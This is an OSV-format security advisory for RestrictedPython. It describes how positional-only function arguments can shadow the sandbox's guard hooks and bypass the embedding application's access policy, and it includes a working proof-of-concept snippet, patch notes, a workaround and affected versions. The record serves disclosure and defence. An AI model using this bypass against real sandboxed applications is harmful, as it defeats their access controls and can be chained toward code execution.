{"id":"PYSEC-2026-3917","summary":"RestrictedPython guard hooks can be shadowed via positional-only arguments","details":"### Impact\n\nRestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes `_getattr_(obj, name)`, item access becomes `_getitem_(obj, key)`, writes go through `_write_`, and print goes through `_print_`. The embedding application supplies these hooks to enforce its policy.\n\nArgument-name validation rejects these protected names for regular arguments, `*args`, `**kwargs`, and keyword-only arguments, but it misses positional-only arguments (the ones before `/`). So a function like:\n\n```python\ndef f(_getattr_=evil, /):\n    return o.x\n```\n\nmakes `_getattr_` a local that shadows the policy hook, and the rewritten access calls `evil` instead. The same works for `_getitem_`, `_write_`, and `_print_`. Shadowing `_print_` can also be used to capture the internal `_getattr_` hook that RestrictedPython passes in.\n\nThe result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.\n\n### Proof of concept\n\nOn an unpatched RestrictedPython this prints `shadowed` and an empty `calls` list, meaning the policy `_getattr_` never ran. With the fix, `compile_restricted` rejects the code.\n\n```python\nfrom RestrictedPython import compile_restricted\nfrom RestrictedPython.Guards import safe_globals, safer_getattr\n\ncalls = []\ndef policy_getattr(obj, name, default=None):\n    calls.append(name)  # the real guard records every access\n    return safer_getattr(obj, name, default)\n\nsrc = \"\"\"\ndef f(o, _getattr_=lambda obj, name: \"shadowed\", /):\n    return o.x\n\"\"\"\n\ncode = compile_restricted(src, \"\u003cs\u003e\", \"exec\")   # currently compiles, should be rejected\ng = dict(safe_globals)\ng[\"_getattr_\"] = policy_getattr\nexec(code, g)\n\nclass O:\n    x = \"secret\"\n\nprint(g[\"f\"](O()))   # -\u003e \"shadowed\"   (attacker's local was used)\nprint(calls)         # -\u003e []           (policy _getattr_ never ran)\n```\n\n### Patches\n\nThe fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.\n\n### Workarounds\n\nNone other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.","aliases":["CVE-2026-55830","GHSA-ffg3-p8fm-mjx2"],"modified":"2026-09-10T12:15:11.823892521Z","published":"2026-09-10T09:44:58.880974Z","references":[{"type":"WEB","url":"https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-ffg3-p8fm-mjx2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55830"},{"type":"WEB","url":"https://github.com/zopefoundation/RestrictedPython/commit/3737596ec9f28c34a073cc845bd2f4c0a80cb671"},{"type":"PACKAGE","url":"https://github.com/zopefoundation/RestrictedPython"},{"type":"PACKAGE","url":"https://pypi.org/project/restrictedpython"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-ffg3-p8fm-mjx2"}],"affected":[{"package":{"name":"restrictedpython","ecosystem":"PyPI","purl":"pkg:pypi/restrictedpython"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.3"}]}],"versions":["3.4.2","3.4.3","3.5.0","3.5.1","3.5.2","3.6.0","3.6.0a1","4.0","4.0a1","4.0a2","4.0a3","4.0b1","4.0b2","4.0b3","4.0b4","4.0b5","4.0b6","4.0b7","4.0b8","5.0","5.1","5.2","5.2a1.dev0","5.3","5.3a1.dev0","5.4","6.0","6.0a1.dev0","6.1","6.2","7.0","7.0a1.dev0","7.0a1.dev1","7.0a2.dev0","7.1","7.2","7.2a1.dev0","7.3","7.4","8.0","8.1","8.1a1.dev0","8.2","8.3a1.dev0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/restrictedpython/PYSEC-2026-3917.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L"}]}